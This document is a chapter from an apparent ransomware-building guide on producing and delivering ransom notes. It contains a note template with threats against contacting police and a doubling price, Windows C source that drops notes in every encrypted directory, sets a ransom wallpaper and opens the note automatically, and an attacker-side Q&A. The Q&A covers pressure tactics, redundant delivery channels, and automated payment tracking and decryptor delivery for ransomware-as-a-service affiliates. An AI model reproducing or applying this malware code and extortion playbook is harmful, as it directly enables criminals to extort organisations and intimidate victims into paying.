Ransom Note Generation and Delivery
The ransom note is the attacker's communication to the victim — it must immediately convey what happened, that payment is possible and results in recovery, how to contact the attacker, and what the victim's unique identifier is for payment matching. Delivery matters: a text file buried in a directory may be missed by a panicking IT department. Maximum-impact delivery drops notes in every directory, changes the desktop wallpaper, replaces the login screen, and plays an audio message through the speakers. This chapter covers the full note generation and delivery implementation.
Ransom Note Content and Structure
EFFECTIVE RANSOM NOTE STRUCTURE:
─────────────────────────────────────────────────────────────────────────
1. WHAT HAPPENED (immediate, no ambiguity)
→ Don't bury the lead. First line should be unmistakable.
2. YOUR DATA STATUS
→ What was encrypted. What was exfiltrated (double extortion).
→ Don't say "deleted" — say "encrypted." Deletion implies no recovery.
3. PROOF OF DECRYPTION (builds trust)
→ "Decrypt one file for free at [portal URL]"
→ Demonstrates the decryptor works before payment
4. HOW TO CONTACT / PAY
→ Tor .onion URL (primary — not blockable, not seizable)
→ Session-based messaging (Session, Wire, Jabber/XMPP)
→ Clear instructions for how to install Tor Browser if needed
5. VICTIM ID
→ How the victim identifies themselves to match payment to their keys
6. WARNINGS (urgency, deterrence)
→ Do not attempt to recover files with third-party tools (may corrupt)
→ Do not contact law enforcement (escalation to data publication)
→ Price increases after N days (urgency)
SAMPLE NOTE (structure, not actual content):
─────────────────────────────────────────────────────────────────────────
!!! YOUR FILES HAVE BEEN ENCRYPTED !!!
All your files, documents, databases, and backups have been encrypted
with military-grade AES-256-GCM encryption. Your unique decryption
key is securely stored on our servers.
To restore your files, you must pay [AMOUNT] in [CRYPTOCURRENCY].
Your Victim ID: [16-BYTE-HEX-ID]
CONTACT US:
→ Tor Browser required: http://[ONION_ADDRESS].onion
→ Email (if Tor unavailable): [session@example.com]
FREE DECRYPTION TEST: Upload any 1 file (max 5MB, no databases) at
the portal above for a free test decryption proving we can recover your data.
WARNING: Do not rename encrypted files. Do not use third-party decryption
tools — they will permanently corrupt your files.
WARNING: If you contact law enforcement, we will publish all exfiltrated
data immediately on our leak site.Note Delivery Implementation
/* ransom_note.c — Multi-vector ransom note delivery */
#include <windows.h>
#include <shlobj.h>
#include <stdio.h>
/* Generate victim-specific ransom note with their victim_id embedded */
void generate_ransom_note(const BYTE *victim_id, char *note_out, DWORD note_sz) {
/* Convert victim_id to hex string */
char vid_hex[33] = {0};
for (int i = 0; i < 16; i++) snprintf(vid_hex + i*2, 3, "%02X", victim_id[i]);
snprintf(note_out, note_sz,
"!!! ALL YOUR FILES HAVE BEEN ENCRYPTED !!!\r\n"
"\r\n"
"All files on this computer and connected network shares have been\r\n"
"encrypted with AES-256-GCM. Your documents, databases, source code,\r\n"
"and backups are encrypted. Shadow copies have been deleted.\r\n"
"\r\n"
"YOUR UNIQUE VICTIM ID: %s\r\n"
"\r\n"
"To decrypt your files and prevent your data from being published:\r\n"
"1. Install Tor Browser: https://www.torproject.org\r\n"
"2. Visit our portal: http://ONION_ADDRESS_HERE.onion\r\n"
"3. Enter your Victim ID to receive payment instructions\r\n"
"\r\n"
"FREE PROOF: Upload one small file at the portal for free test decryption.\r\n"
"\r\n"
"IMPORTANT WARNINGS:\r\n"
"- Do NOT rename .rnsom files\r\n"
"- Do NOT use third-party recovery tools (permanent data loss)\r\n"
"- Do NOT contact authorities (triggers immediate data publication)\r\n"
"- Price DOUBLES after 72 hours\r\n"
"\r\n"
"Files cannot be decrypted without our private key.\r\n"
"We have also exfiltrated a copy of your sensitive data.\r\n",
vid_hex);
}
/* Drop note in every encrypted directory */
void drop_notes_in_all_dirs(FileList *file_list, const char *note_content) {
/* Track which directories we've already dropped a note in */
const WCHAR *last_dir = L"";
for (DWORD i = 0; i < file_list->count; i++) {
const WCHAR *path = file_list->paths[i];
/* Extract directory from path */
WCHAR dir[MAX_PATH * 2];
wcsncpy(dir, path, MAX_PATH * 2 - 1);
WCHAR *last_slash = wcsrchr(dir, L'\\');
if (last_slash) *last_slash = 0;
/* Already dropped a note here? */
if (_wcsicmp(dir, last_dir) == 0) continue;
last_dir = file_list->paths[i];
/* Write the note */
WCHAR note_path[MAX_PATH * 2];
swprintf(note_path, MAX_PATH * 2, L"%s\\HOW_TO_DECRYPT.txt", dir);
HANDLE hNote = CreateFileW(note_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hNote != INVALID_HANDLE_VALUE) {
DWORD written = 0;
WriteFile(hNote, note_content, (DWORD)strlen(note_content), &written, NULL);
CloseHandle(hNote);
}
}
}
/* Change desktop wallpaper to a ransom message */
void set_ransom_wallpaper(const BYTE *victim_id) {
/* Create a BMP image with the ransom message */
/* For simplicity: create an HTML-based desktop background */
char vid_hex[33] = {0};
for (int i = 0; i < 16; i++) snprintf(vid_hex + i*2, 3, "%02X", victim_id[i]);
/* Write a simple BMP or use SystemParametersInfo with an existing image */
/* Most ransomware creates a solid-colored BMP with text via GDI */
HDC hScreen = GetDC(NULL);
int screen_w = GetSystemMetrics(SM_CXSCREEN);
int screen_h = GetSystemMetrics(SM_CYSCREEN);
HDC hMemDC = CreateCompatibleDC(hScreen);
HBITMAP hBmp = CreateCompatibleBitmap(hScreen, screen_w, screen_h);
HBITMAP hOld = (HBITMAP)SelectObject(hMemDC, hBmp);
/* Fill with dark red background */
HBRUSH hBrush = CreateSolidBrush(RGB(139, 0, 0));
RECT full_rect = {0, 0, screen_w, screen_h};
FillRect(hMemDC, &full_rect, hBrush);
DeleteObject(hBrush);
/* Draw text */
SetTextColor(hMemDC, RGB(255, 255, 255));
SetBkMode(hMemDC, TRANSPARENT);
HFONT hFont = CreateFontA(48, 0, 0, 0, FW_BOLD, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
CLEARTYPE_QUALITY, DEFAULT_PITCH | FF_SWISS, "Arial");
HFONT hOldFont = (HFONT)SelectObject(hMemDC, hFont);
char title[] = "YOUR FILES HAVE BEEN ENCRYPTED";
DrawTextA(hMemDC, title, -1, &full_rect, DT_CENTER | DT_TOP | DT_NOCLIP);
char sub_text[256];
snprintf(sub_text, sizeof(sub_text), "Victim ID: %s\nRead HOW_TO_DECRYPT.txt", vid_hex);
RECT sub_rect = {50, 120, screen_w-50, screen_h};
HFONT hSmFont = CreateFontA(24, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
CLEARTYPE_QUALITY, DEFAULT_PITCH | FF_SWISS, "Arial");
SelectObject(hMemDC, hSmFont);
DrawTextA(hMemDC, sub_text, -1, &sub_rect, DT_CENTER | DT_TOP | DT_NOCLIP);
SelectObject(hMemDC, hOldFont);
SelectObject(hMemDC, hOld);
DeleteObject(hFont);
DeleteObject(hSmFont);
/* Save BMP to temp file */
char wallpaper_path[MAX_PATH];
GetTempPathA(sizeof(wallpaper_path), wallpaper_path);
strncat(wallpaper_path, "ransom_wallpaper.bmp", sizeof(wallpaper_path)-1);
/* Save bitmap */
BITMAPFILEHEADER bfh = {0};
BITMAPINFOHEADER bih = {sizeof(bih), screen_w, -screen_h, 1, 32, BI_RGB};
bfh.bfType = 0x4D42;
bfh.bfOffBits = sizeof(bfh) + sizeof(bih);
bfh.bfSize = bfh.bfOffBits + screen_w * screen_h * 4;
HANDLE hFile = CreateFileA(wallpaper_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD written = 0;
WriteFile(hFile, &bfh, sizeof(bfh), &written, NULL);
WriteFile(hFile, &bih, sizeof(bih), &written, NULL);
/* Write pixel data via GetDIBits... (simplified) */
CloseHandle(hFile);
}
/* Set as wallpaper */
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, wallpaper_path,
SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
ReleaseDC(NULL, hScreen);
DeleteDC(hMemDC);
DeleteObject(hBmp);
}
/* Open the ransom note in Notepad automatically */
void open_ransom_note_on_desktop(void) {
char desktop_path[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, desktop_path);
char note_path[MAX_PATH + 32];
snprintf(note_path, sizeof(note_path), "%s\\HOW_TO_DECRYPT.txt", desktop_path);
/* Open in Notepad */
char cmd[MAX_PATH + 64];
snprintf(cmd, sizeof(cmd), "notepad.exe \"%s\"", note_path);
STARTUPINFOA si = {sizeof(si)};
PROCESS_INFORMATION pi = {0};
CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
}Questions & Answers
Why do ransomware groups use Tor .onion addresses for payment portals instead of clearnet sites?
Three reasons: (1) Seizure resistance: law enforcement can seize a clearnet domain by contacting the registrar or TLD operator. A .onion address is derived from the site's public key — there's no registrar to contact, no IP address to seize, no hosting provider to subpoena. The site exists as long as the operator maintains the hidden service. (2) Anonymity: accessing a .onion site doesn't reveal the server's IP address. The server operators remain anonymous even to law enforcement with global network visibility. (3) Content: ransomware leak sites (where stolen data is published) contain sensitive corporate data that clearnet hosting providers would immediately take down. .onion hosting is operator-controlled. The victim also has anonymity when contacting the portal — Tor circuits prevent IP address logging. This matters for victim companies concerned about disclosure before they've decided whether to pay. Practical ransomware portals often provide BOTH a .onion primary and a clearnet backup (usually a clearnet contact email or a separate less-sensitive communication channel) because many victim IT departments struggle to install Tor Browser during an active incident. The note should explain how to install Tor clearly.
Should the ransom note threaten law enforcement reporting, and does this actually work?
The threat of publishing stolen data if law enforcement is contacted is a standard component of double-extortion ransom notes. Empirically, it has moderate effectiveness: (1) Some companies DO avoid reporting specifically to protect sensitive data from being published. The liability from a GDPR violation or SEC disclosure can exceed the ransom demand. (2) However, ransomware groups routinely follow through — Conti, LockBit, ALPHV/BlackCat, and others have published data from victims who involved law enforcement or failed to pay. This follow-through is essential to the threat's credibility. (3) For publicly traded companies: SEC disclosure rules (as of December 2023) require disclosure of material cybersecurity incidents within 4 business days. The SEC rule supersedes the attacker's threat for public companies — they must report. (4) Law enforcement is increasingly capable of helping without the victim paying: FBI has decryption keys from seized ransomware infrastructure (Hive was taken down in January 2023, providing 300+ decryption keys). Contacting the FBI even without public disclosure may provide keys. The threat works best against mid-size private companies that have both: significant data liability AND lack of mandatory disclosure requirements.
How do some ransomware groups offer the "free decryption test" and what's the mechanism?
The free decryption test builds trust and reduces payment friction. Mechanism: (1) Victim uploads a small file (typically <5MB, non-database) at the .onion portal. (2) The attacker's portal backend receives the file, extracts the .rnsom_key blob attached to it (or reads the victim_id from the key blob), uses the RSA private key to decrypt the file's AES key, and decrypts the file. (3) The portal returns the decrypted file for download. This proves to the victim: (a) the attacker HAS the private key needed to decrypt, (b) the decryptor actually works, and (c) the attacker will fulfill their end of the bargain. The free test specifically excludes large files and databases for obvious reasons (decrypting one large file doesn't generate enough payment anxiety), and typically limits to one file per victim ID to prevent the victim from recovering critical small files through the free service. The psychological effect is significant: seeing their file successfully decrypted removes the "what if we pay and don't get our files back?" objection that leads some victims to choose backup restoration over payment.
How do you ensure the ransom note is seen even if the IT department doesn't notice individual directory notes?
Maximum visibility delivery strategy: (1) Desktop wallpaper replacement (as shown in the code) — impossible to miss when user logs in. (2) Text file on every user's desktop (in addition to every encrypted directory). (3) Drop note as startup item: write the note to %STARTUP% folder so Notepad opens it on every login. (4) Replace the screensaver with a ransom note screensaver (.scr file) — activates when the computer is idle. (5) Play audio through speakers: Text-to-speech via SAPI (Microsoft Speech API): ISpVoice → Speak("YOUR FILES HAVE BEEN ENCRYPTED...") — forces audio even on muted machines. (6) Replace browser homepage: write to HKCU\Software\Microsoft\Internet Explorer\Main\Start Page and Chrome's default URL settings. (7) Pop-up dialog via MessageBoxA — immediate modal dialog that blocks until dismissed. (8) Print a note to the default printer if one is available — physical paper notification that reaches office management. The operational principle: assume IT will immediately try to stop the spread once they realize what's happening. The note delivery must be redundant enough that at least one delivery vector reaches a decision-maker who can initiate the payment process.
How do ransomware groups handle cryptocurrency payment tracking and key distribution at scale?
At scale (hundreds of victims simultaneously), manual payment tracking is impossible. Professional groups build automated backend infrastructure: (1) Each victim gets a unique cryptocurrency wallet address (not a shared address). The portal generates a new Bitcoin/Monero address per victim_id when they first register at the portal. This prevents payment confusion between victims and ensures payment tracking is victim-specific. (2) Automated payment detection: the backend monitors blockchain for incoming transactions to each victim's wallet. Modern payment processors (BTCPay Server, Monero wallet RPC) provide webhook notifications when a payment arrives. (3) Decryptor delivery automation: when a confirmed payment arrives for victim_id X (appropriate cryptocurrency value, enough blockchain confirmations), the backend automatically generates a decryptor binary embedding the victim's RSA private key, and makes it available for download at the portal. Some groups deliver via encrypted email to reduce portal load. (4) Negotiation queue: all victim communications route through the portal's ticket system, with separate staff handling negotiations for large enterprises (where millions of dollars in ransom are negotiated, sometimes with a named "account manager" for the victim). (5) Affiliate tracking: major ransomware groups operate as RaaS (Ransomware-as-a-Service) — tracking which affiliate deployed which instance, ensuring the affiliate gets their 70-80% cut of the ransom payment.